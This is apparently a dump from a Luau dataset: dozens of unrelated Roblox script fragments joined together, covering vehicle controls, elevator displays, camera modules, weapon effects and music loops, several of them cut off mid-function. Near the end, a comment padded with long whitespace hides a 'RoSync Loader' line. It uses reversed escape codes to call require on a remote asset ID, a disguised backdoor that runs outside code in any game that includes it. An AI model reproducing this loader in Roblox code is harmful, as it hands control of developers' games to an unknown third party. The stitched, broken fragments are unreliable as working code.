Roblox/luau_corpus huggingface dataset:
--SynapseX Decompiler

script.Parent:WaitForChild("Car")
script.Parent:WaitForChild("IsOn")
script.Parent:WaitForChild("ControlsOpen")
script.Parent:WaitForChild("Values")
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local UserInputService = game:GetService("UserInputService")
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local hpScaling = _Tune.WeightScaling * 10
local FBrakeForce = _Tune.FBrakeForce
local RBrakeForce = _Tune.RBrakeForce
local PBrakeForce = _Tune.PBrakeForce
if not workspace:PGSIsEnabled() then
	hpScaling = _Tune.LegacyScaling * 10
	FBrakeForce = _Tune.FLgcyBForce
	RBrakeForce = _Tune.RLgcyBForce
	PBrakeForce = _Tune.LgcyPBForce
end
local _IsOn = _Tune.AutoStart
if _Tune.AutoStart then
	script.Parent.IsOn.Value = true
end
local _GSteerT = 0
local _GSteerC = 0
local _GThrot = 0
local _GBrake = 0
local _ClutchOn = true
local _ClPressing = false
local _RPM = 0
local _HP = 0
local _OutTorque = 0
local _CGear = 0
local _TMode = _Tune.TransModes[1]
local _MSteer = false
local _SteerL = false
local _SteerR = false
local _PBrake = false
local _TCS = _Tune.TCSEnabled
local _TCSActive = false
local _ABS = _Tune.ABSEnabled
local _ABSActive = false
local FlipWait = tick()
local FlipDB = false
local _InControls = false
car.DriveSeat.ChildRemoved:connect(function(child)
	if child.Name == "SeatWeld" and child:IsA("Weld") then
		script.Parent:Destroy()
	end
end)
local _CTRL = _Tune.Controls
local Controls = Instance.new("Folder", script.Parent)
Controls.Name = "Controls"
for i, v in pairs(_CTRL) do
	do
		local a = Instance.new("StringValue", Controls)
		a.Name = i
		a.Value = v.Name
		a.Changed:connect(function()
			if i == "MouseThrottle" or i == "MouseBrake" then
				if a.Value == "MouseButton1" or a.Value == "MouseButton2" then
					_CTRL[i] = Enum.UserInputType[a.Value]
				else
					_CTRL[i] = Enum.KeyCode[a.Value]
				end
			else
				_CTRL[i] = Enum.KeyCode[a.Value]
			end
		end)
	end
end
local _PPH = _Tune.Peripherals
for i, v in pairs(_PPH) do
	do
		local a = Instance.new("IntValue", Controls)
		a.Name = i
		a.Value = v
		a.Changed:connect(function()
			a.Value = math.min(100, math.max(0, a.Value))
			_PPH[i] = a.Value
		end)
	end
end
function DealWithInput(input, IsRobloxFunction)
---------------------------------------------------

This = script.Parent
Elevator = This.Parent.Parent.Parent
CustomLabel = require(This.Parent.Parent.Parent.CustomLabel)
Characters = require(script.Characters)

CustomText = CustomLabel["CUSTOMFLOORLABEL"]

Elevator:WaitForChild("Floor").Changed:connect(function(floor)
  --custom indicator code--
  ChangeFloor(tostring(floor))
end)

function ChangeFloor(SF)
	if CustomText[tonumber(SF)] then
		SF = CustomText[tonumber(SF)]
	end
	SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))		
	SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))
end



function SetDisplay(ID,CHAR)
	if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then
 		for i,l in pairs(Characters[CHAR]) do 
			for r=1,7 do	
				This.Display["DIG"..ID]["D"..r].Transparency = (l:sub(r,r) == "1" and 0 or 1)
			end
		end
	end
end
-- Table used to hold Observer objects in memory.
local strongRefs: Set<Types.Observer> = {}
--//Setup//--
local SongsHolder = script.Parent

local Songs = SongsHolder.Songs:GetChildren()

local CurrentSong = SongsHolder.CurrentSong
-- local serialize: Function --[[ ROBLOX TODO: Unhandled node for type: TSIndexedAccessType ]] --[[ NewPlugin['serialize'] ]]
local function serialize(
	object: ReactTestObject,
	config: Config,
	indentation: string,
	depth: number,
	refs: Refs,
	printer: Printer
)
	depth += 1
	return if depth > config.maxDepth
		then printElementAsLeaf(object.type, config)
		else printElement(
			object.type,
			if object.props ~= nil
				then printProps(
					getPropKeys(object),
					object.props,
					config,
					indentation .. config.indent,
					depth,
					refs,
					printer
				)
				else "",
			if object.children ~= nil
				then printChildren(object.children, config, indentation .. config.indent, depth, refs, printer)
				else "",
			config,
			indentation
		)
end
exports.serialize = serialize
-------------------------

mouse.KeyDown:connect(function (key)
    key = string.lower(key)
        if key == "a" or key:byte() == 20 then
                a = true
                h.DesiredAngle = 0.3
        elseif key == "d" or key:byte() == 19 then
                d = true
                h.DesiredAngle = -0.3
        elseif key == "w" or key:byte() == 17 then
                w = true
                rwd.Throttle = 1
				rwd.Torque = tq
                carSeat.Throttle = 1				
				carSeat.Torque = cst
				carSeat.Parent.Parent.HW.B1.CanCollide = false
				carSeat.Parent.Parent.HW.B2.CanCollide = false
         elseif key == "s" or key:byte() == 18 then
                s = true
                carSeat.Throttle = -1      
                carSeat.Torque = fbrk
                rwd.Throttle = -1      
                rwd.Torque = brk
			elseif key:byte() == 48 then				
				hb1.CanCollide = true
				hb2.CanCollide = true
                end
end)
 
mouse.KeyUp:connect(function (key)
    key = string.lower(key)
        if key == "a" or key:byte() == 20 then
                print("a up")
                if d == false then
                	h.DesiredAngle = 0
                end
        elseif key == "d" or key:byte() == 19 then
                print("d up")
                if a == false then
                	h.DesiredAngle = 0
				end
		end
        a = false
        d = false
end)
 
mouse.KeyUp:connect(function (key)
    key = string.lower(key)
if key == "w" or key == "s" or key:byte() == 17 or key:byte() == 18 then
        rwd.Throttle = 0
rwd.Torque = cst
        carSeat.Throttle = 0
carSeat.Torque = cst
		carSeat.Parent.Parent.HW.B1.CanCollide = false
		carSeat.Parent.Parent.HW.B2.CanCollide = false
			elseif key:byte() == 48 then
		hb1.CanCollide = false
		hb2.CanCollide = false
        end
end)   

standButton.MouseButton1Click:connect(function()
	local ks = carSeat.Parent.KP.Motor
	ks.MaxVelocity = .1
        if ks.DesiredAngle == 0 then
			ks.DesiredAngle = -1.571
        else   
			ks.DesiredAngle = 0
        end
end)

camButton.MouseButton1Click:connect(function()
		if cam == ("car") then
			Camera.CameraSubject = player.Character.Humanoid
			Camera.CameraType = ("Attach")
			cam = ("lockplr")
		elseif cam == ("lockplr") then
			Camera.CameraSubject = player.Character.Humanoid
			Camera.CameraType = ("Custom")
			cam = ("freeplr")
        elseif cam == ("freeplr") then
			Camera.CameraSubject = carSeat
			Camera.CameraType = ("Custom")
			cam = ("car")
        end
end)
-- Make Connection strict
setmetatable(Connection, {
	__index = function(_tb, key)
		error(("Attempt to get Connection::%s (not a valid member)"):format(tostring(key)), 2)
	end,
	__newindex = function(_tb, key, _value)
		error(("Attempt to set Connection::%s (not a valid member)"):format(tostring(key)), 2)
	end,
})
-- Also set this to true if you want the thumbstick to not affect throttle, only triggers when a gamepad is conected
local onlyTriggersForThrottle = false
local ZERO_VECTOR3 = Vector3.new(0,0,0)

local AUTO_PILOT_DEFAULT_MAX_STEERING_ANGLE = 35
--////////////////////////////// Include
--//////////////////////////////////////
local ChatConstants = require(ReplicatedModules:WaitForChild("ChatConstants"))

local ChatChannel = require(modulesFolder:WaitForChild("ChatChannel"))
local Speaker = require(modulesFolder:WaitForChild("Speaker"))
local Util = require(modulesFolder:WaitForChild("Util"))

local ChatLocalization = nil
pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization) end)
if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end
--[ LOCALS ]--

local Command = "/korblox" or "/korblox "
--[[**
	asserts a given check

	@param check The function to wrap with an assert

	@returns A function that simply wraps the given check in an assert
**--]]
function t.strict(check)
	return function(...)
		assert(check(...))
	end
end

do
	local checkChildren = t.map(t.string, t.callback)
--Made by Stickmasterluke



sp=script.Parent
frames=10
bright=game.Lighting.Brightness
wait()
game.Lighting.Brightness = 10
for frame=1,frames do
	wait()
	for i,v in ipairs(sp:GetChildren()) do
		if v then
			if v.className=="Part" then
				v.Transparency=frame/frames
			end
		end
	end
end
game.Lighting.Brightness = bright
sp:remove()
-- NOTICE: Player property names do not all match their StarterPlayer equivalents,
-- with the differences noted in the comments on the right
local PLAYER_CAMERA_PROPERTIES =
{
	"CameraMinZoomDistance",
	"CameraMaxZoomDistance",
	"CameraMode",
	"DevCameraOcclusionMode",
	"DevComputerCameraMode",			-- Corresponds to StarterPlayer.DevComputerCameraMovementMode
	"DevTouchCameraMode",				-- Corresponds to StarterPlayer.DevTouchCameraMovementMode

	-- Character movement mode
	"DevComputerMovementMode",
	"DevTouchMovementMode",
	"DevEnableMouseLock",				-- Corresponds to StarterPlayer.EnableMouseLockOption
}

local USER_GAME_SETTINGS_PROPERTIES =
{
	"ComputerCameraMovementMode",
	"ComputerMovementMode",
	"ControlMode",
	"GamepadCameraSensitivity",
	"MouseSensitivity",
	"RotationType",
	"TouchCameraMovementMode",
	"TouchMovementMode",
}
----------------------------------------------------------------------
--------------------[ RESET CAMERA ]----------------------------------
----------------------------------------------------------------------

Gun.ChildRemoved:connect(function(Child)
	if Child == Handle and Plyr.Value then
		local ignoreCode = Gun:WaitForChild("clientMain"):WaitForChild("ignoreCode").Value
		local resetCam = script:WaitForChild("resetCam")
		resetCam:WaitForChild("ignoreCode").Value = ignoreCode
		resetCam.Parent = Plyr.Value.PlayerGui
	end
end)
-- OnRun modules
local RunFirstNeonParts = require(script.FirstNeonParts)
local ThirdBeatDrop = require(script.ThirdBeatDrop)
local Cooldown = require(script.Cooldown)
local BouncePlatforms = require(ReplicatedStorage.BouncePlatforms)
-- Called when any relevant values of GameSettings or LocalPlayer change, forcing re-evalulation of
-- current control scheme
function ControlModule:OnComputerMovementModeChange()
	local controlModule, success =  self:SelectComputerMovementModule()
	if success then
		self:SwitchToController(controlModule)
	end
end

function ControlModule:OnTouchMovementModeChange()
	local touchModule, success = self:SelectTouchModule()
	if success then
		while not self.touchControlFrame do
			wait()
		end
		self:SwitchToController(touchModule)
	end
end

function ControlModule:CreateTouchGuiContainer()
	if self.touchGui then self.touchGui:Destroy() end

	-- Container for all touch device guis
	self.touchGui = Instance.new("ScreenGui")
	self.touchGui.Name = "TouchGui"
	self.touchGui.ResetOnSpawn = false
	self.touchGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
	self:UpdateTouchGuiVisibility()

	self.touchControlFrame = Instance.new("Frame")
	self.touchControlFrame.Name = "TouchControlFrame"
	self.touchControlFrame.Size = UDim2.new(1, 0, 1, 0)
	self.touchControlFrame.BackgroundTransparency = 1
	self.touchControlFrame.Parent = self.touchGui

	self.touchGui.Parent = self.playerGui
end

function ControlModule:GetClickToMoveController()
	if not self.controllers[ClickToMove] then
		self.controllers[ClickToMove] = ClickToMove.new(CONTROL_ACTION_PRIORITY)
	end
	return self.controllers[ClickToMove]
end

return ControlModule.new()
-- Place in StarterGui

local Amount = 5		-- Amount of drops to generate per .03 seconds
local Distance = 50		-- Distance from player on the x and z axis
local Height = 60		-- Distance from player on the y axis

local RainDrop = Instance.new("Part")
RainDrop.CanCollide = false
RainDrop.BrickColor = BrickColor.new("Pastel light blue")
RainDrop.FormFactor = "Custom"
RainDrop.Size = Vector3.new(.2, 1.2, .2)
RainDrop.BottomSurface = "Smooth"
RainDrop.TopSurface = "Smooth"
RainDrop.Transparency = .5
local Mesh = Instance.new("BlockMesh")
Mesh.Scale = Vector3.new(.4, 2, .4)
Mesh.Parent = RainDrop

while wait() do
	for i = 1, Amount do
		local drop = RainDrop:Clone()
		drop.Parent = game.Workspace.CurrentCamera
		drop.CFrame = game.Players.LocalPlayer.Character.Torso.CFrame + Vector3.new(math.random(-Distance, Distance), Height ,math.random(-Distance, Distance))
		game:GetService("Debris"):AddItem(drop, 3)
		drop.Touched:connect(function()
			drop:Remove()
		end)
	end
end
-- Returns the ancestor that contains a Humanoid, if it exists
local function FindCharacterAncestor(subject)
	if subject and subject ~= Workspace then
		local humanoid = subject:FindFirstChild('Humanoid')
		if humanoid then
			return subject, humanoid
		else
			return FindCharacterAncestor(subject.Parent)
		end
	end
	return nil
end

local function OnExplosionHit(hitPart)
	if hitPart then
		local _, humanoid = FindCharacterAncestor(hitPart.Parent)
		if humanoid and humanoid.Health > 0 and not hitPart:IsDescendantOf(CreatorTag.Value.Character) then
			CreatorTag:Clone().Parent=humanoid
			humanoid:TakeDamage(100)
		end
	end
end

local function OnTouched(otherPart)
	if Rocket and otherPart then
		-- Fly through anything in the ignore list
		if IGNORE_LIST[string.lower(otherPart.Name)] then
			return
		end

		-- Fly through the creator
		local myPlayer = CreatorTag.Value
		if myPlayer and myPlayer.Character and myPlayer.Character:IsAncestorOf(otherPart) then
			return
		end
		
		OnExplosionHit(hitPart)
		
		-- Boom
		local explosion = Instance.new('Explosion')
		explosion.BlastPressure = BLAST_PRESSURE
		explosion.BlastRadius = BLAST_RADIUS
		-- todo configure based on proximity
		explosion.DestroyJointRadiusPercent = 0
		
		explosion.Position = Rocket.Position
		explosion.Hit:connect(OnExplosionHit)
		explosion.Parent = Workspace

		-- Move this script and the creator tag (so our custom logic can execute), then destroy the rocket
		script.Parent = explosion
		CreatorTag.Parent = script
		Rocket:Destroy()
	end
end
---------------------------------------------------

local tweenService = game:GetService("TweenService")
This = script.Parent
Lift = This.Parent.Parent.Parent

for i,v in pairs(Lift.Car:WaitForChild("Welds"):GetChildren()) do
	if v.Part1 == script.Parent.Button then v:Destroy() end
end
local weld = Instance.new("ManualWeld", This.Button)
weld.C0 = Lift.Car.Platform.CFrame:inverse() * This.Button.CFrame
weld.Part0 = Lift.Car.Platform
weld.Part1 = This.Button
click = false

for x,x in pairs(This.Button:GetChildren()) do 
	if x:IsA("SurfaceGui") and x.Name == ("Button") then 
		x.Button.MouseButton1Click:connect(function()
			if click == false then
				click = true
				tweenService:Create(weld,TweenInfo.new(0.1),{
					["C1"] = weld.C1*CFrame.new(-0.003, 0, 0),
				}):Play()
				wait(0.1)
				tweenService:Create(weld,TweenInfo.new(0.1),{
					["C1"] = weld.C1*CFrame.new(0.003, 0, 0),
				}):Play()
				wait(0.1)
				click = false
			end
		end)
	end
end
--vars
local state = "unequipped"
local adsing = false
local rstepgun
local savedfov
local currentlyfps = false
offset = CFrame.new()
-- Indexes in sequence a of last point of forward or reverse paths in graph.
-- Myers algorithm indexes by diagonal k which for negative is bad deopt in V8.
-- This package indexes by iF and iR which are greater than or equal to zero.
-- and also updates the index arrays in place to cut memory in half.
-- kF = 2 * iF - d
-- kR = d - 2 * iR
type Indexes = Array<number>
-- Movement mode standardized to Enum.ComputerCameraMovementMode values
function BaseCamera:SetCameraMovementMode( cameraMovementMode )
	self.cameraMovementMode = cameraMovementMode
end

function BaseCamera:GetCameraMovementMode()
	return self.cameraMovementMode
end

function BaseCamera:SetIsMouseLocked(mouseLocked: boolean)
	self.inMouseLockedMode = mouseLocked
end

function BaseCamera:GetIsMouseLocked(): boolean
	return self.inMouseLockedMode
end

function BaseCamera:SetMouseLockOffset(offsetVector)
	self.mouseLockOffset = offsetVector
end

function BaseCamera:GetMouseLockOffset()
	return self.mouseLockOffset
end

function BaseCamera:InFirstPerson(): boolean
	return self.inFirstPerson
end

function BaseCamera:EnterFirstPerson()
	-- Overridden in ClassicCamera, the only module which supports FirstPerson
end

function BaseCamera:LeaveFirstPerson()
	-- Overridden in ClassicCamera, the only module which supports FirstPerson
end
---To Add More Songs, Follow This Format:---
---local Song(Number) = SongFolder.(SongName)


	Song1.Playing = true ---Just Started Playing The Song---
	wait (Song1.TimeLength) ---Wait Length Of Song---
	Song1.Playing = false ---Just Stopped Playing The Song---
	
	Song2.Playing = true ---Just Started Playing The Song---
	print ("2")
	wait (Song2.TimeLength) ---Wait Length Of Song---
	Song2.Playing = false ---Just Stopped Playing The Song---

Song3.Playing = true ---Just Started Playing The Song---
	wait (Song3.TimeLength) ---Wait Length Of Song---
	Song3.Playing = false ---Just Stopped Playing The Song---

Song4.Playing = true ---Just Started Playing The Song---
	wait (Song4.TimeLength) ---Wait Length Of Song---
	Song4.Playing = false ---Just Stopped Playing The Song---
	
	Song5.Playing = true ---Just Started Playing The Song---
	wait (Song5.TimeLength) ---Wait Length Of Song---
	Song5.Playing = false ---Just Stopped Playing The Song---
	
	Song6.Playing = true ---Just Started Playing The Song---
	wait (Song6.TimeLength) ---Wait Length Of Song---
	Song6.Playing = false ---Just Stopped Playing The Song---

Song7.Playing = true ---Just Started Playing The Song---
	wait (Song7.TimeLength) ---Wait Length Of Song---
	Song7.Playing = false ---Just Stopped Playing The Song---


Song8.Playing = true ---Just Started Playing The Song---
	wait (Song8.TimeLength) ---Wait Length Of Song---
	Song8.Playing = false ---Just Stopped Playing The Song---



until game.Workspace.SongScript.Disabled == true ---Don't stop playing the songs until script is disabled---
--[[
	Package link auto-generated by Rotriever
]]
local PackageIndex = script.Parent.Parent.Parent._Index

local Package = require(PackageIndex["TestUtils"]["TestUtils"])

return Package
--Feel free to delete the 'ThumbnailCamera' and 'Part'. I use this for the model's thumbnail.


	
local part = workspace["HD Admin"].ThumbnailCamera.Part
local camera = game.Workspace.Camera
camera.CameraSubject= part
camera.CameraType = "Fixed"
camera.CoordinateFrame= part.CFrame * CFrame.new(0,0,3)
camera.Focus = part.CFrame
-- Load the near-field character transparency controller and the mouse lock "shift lock" controller
local TransparencyController = require(script:WaitForChild("TransparencyController"))
local MouseLockController = require(script:WaitForChild("MouseLockController"))
--Internal interface
local function InitialReference(self)
	--Disconnect current reference connection
	if self.cur_p_con ~= nil then
		self.cur_p_con:Disconnect()
		self.cur_p_con = nil
	end

	--Find next current reference
	self.cur_p = self.parent
	for _,v in pairs(self.spl_dir) do
		local n = self.cur_p:FindFirstChild(v)
		if n ~= nil then
			self.cur_p = n
		else
			self.cur_p = nil
			break
		end
	end

	--Connect if reference was found
	if self.cur_p ~= nil then
		self.cur_p_con = self.cur_p:GetPropertyChangedSignal("Parent"):Connect(function()
			InitialReference(self)
		end)
	end
end

local function GetKey(parent, directory)
	return parent:GetFullName().."\\"..directory
end

local function Register(parent, directory)
	local key = GetKey(parent, directory)
	if cur_ref_reg[key] ~= nil then
		--Increment registration count
		cur_ref_reg[key].count += 1
		return cur_ref_reg[key].instance, true
	else
		--Create new registry
		local self = setmetatable({}, {__index = global_reference})
		cur_ref_reg[key] = {instance = self, count = 1}
		return self, false
	end
end

local function Deregister(parent, directory)
	local key = GetKey(parent, directory)
	if cur_ref_reg[key] ~= nil then
		--Decrement registration count
		cur_ref_reg[key].count -= 1
		if cur_ref_reg[key].count <= 0 then
			--Destroy registry since there's no more references
			cur_ref_reg[key] = nil
			return false
		else
			--Registry hasn't been destroyed yet
			return true
		end
	else
		return true
	end
end
--[[

	LOWGames Studios
	Date: 27 October 2022
	by Elder
	
]]--

local u1 = nil;
coroutine.wrap(function()
	u1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
end)();
return function(p1, p2, p3)
	local v1 
	if p3 then
		v1 = "ManualWeld";
	else
		v1 = "WeldConstraint";
	end;
	if p1.Anchored or p2.Anchored then
		v1 = "Motor6D";
	end;
	local v2 = Instance.new(v1);
	v2.Part0 = p1;
	v2.Part1 = p2;
	if v1 ~= "WeldConstraint" then
		v2.C0 = p1.CFrame:inverse() * p2.CFrame;
	end;
	v2.Parent = p1;
	return v2;
end;
--[[ Last synced 1/11/2021 04:46                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
--[[

	LOWGames Studios
	Date: 27 October 2022
	by Elder
	
]]--

local u1 = nil;
coroutine.wrap(function()
	u1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
end)();
return function(p1, p2, p3, p4)
	local v1 = nil;
	local v2 = p1:pointToObjectSpace(p2);
	local l__Unit__3 = v2.Unit;
	local l__Magnitude__4 = v2.Magnitude;
	v1 = p1 * CFrame.fromAxisAngle(Vector3.new(0, 0, -1):Cross(l__Unit__3), (math.acos(-l__Unit__3.Z)));
	if l__Magnitude__4 < math.max(p4, p3) - math.min(p4, p3) then
		return v1 * CFrame.new(0, 0, math.max(p4, p3) - math.min(p4, p3) - l__Magnitude__4), -math.pi / 2, math.pi;
	end;
	if p3 + p4 < l__Magnitude__4 then
		return v1, math.pi / 2, 0;
	end;
	local v5 = -math.acos((-(p4 * p4) + p3 * p3 + l__Magnitude__4 * l__Magnitude__4) / (2 * p3 * l__Magnitude__4));
	return v1, v5 + math.pi / 2, math.acos((p4 * p4 - p3 * p3 + l__Magnitude__4 * l__Magnitude__4) / (2 * p4 * l__Magnitude__4)) - v5;
end;
--[[
	API Reference:
	Once the experience starts, an `SurfaceArt` ModuleScript will be parented to
	ReplicatedStorage. To access the following APIs, simply require the
	`SurfaceArt` ModuleScript as follows:
]]

local ReplicatedStorage = game:GetService("ReplicatedStorage")
local SurfaceArt = require(ReplicatedStorage:WaitForChild("SurfaceArt"))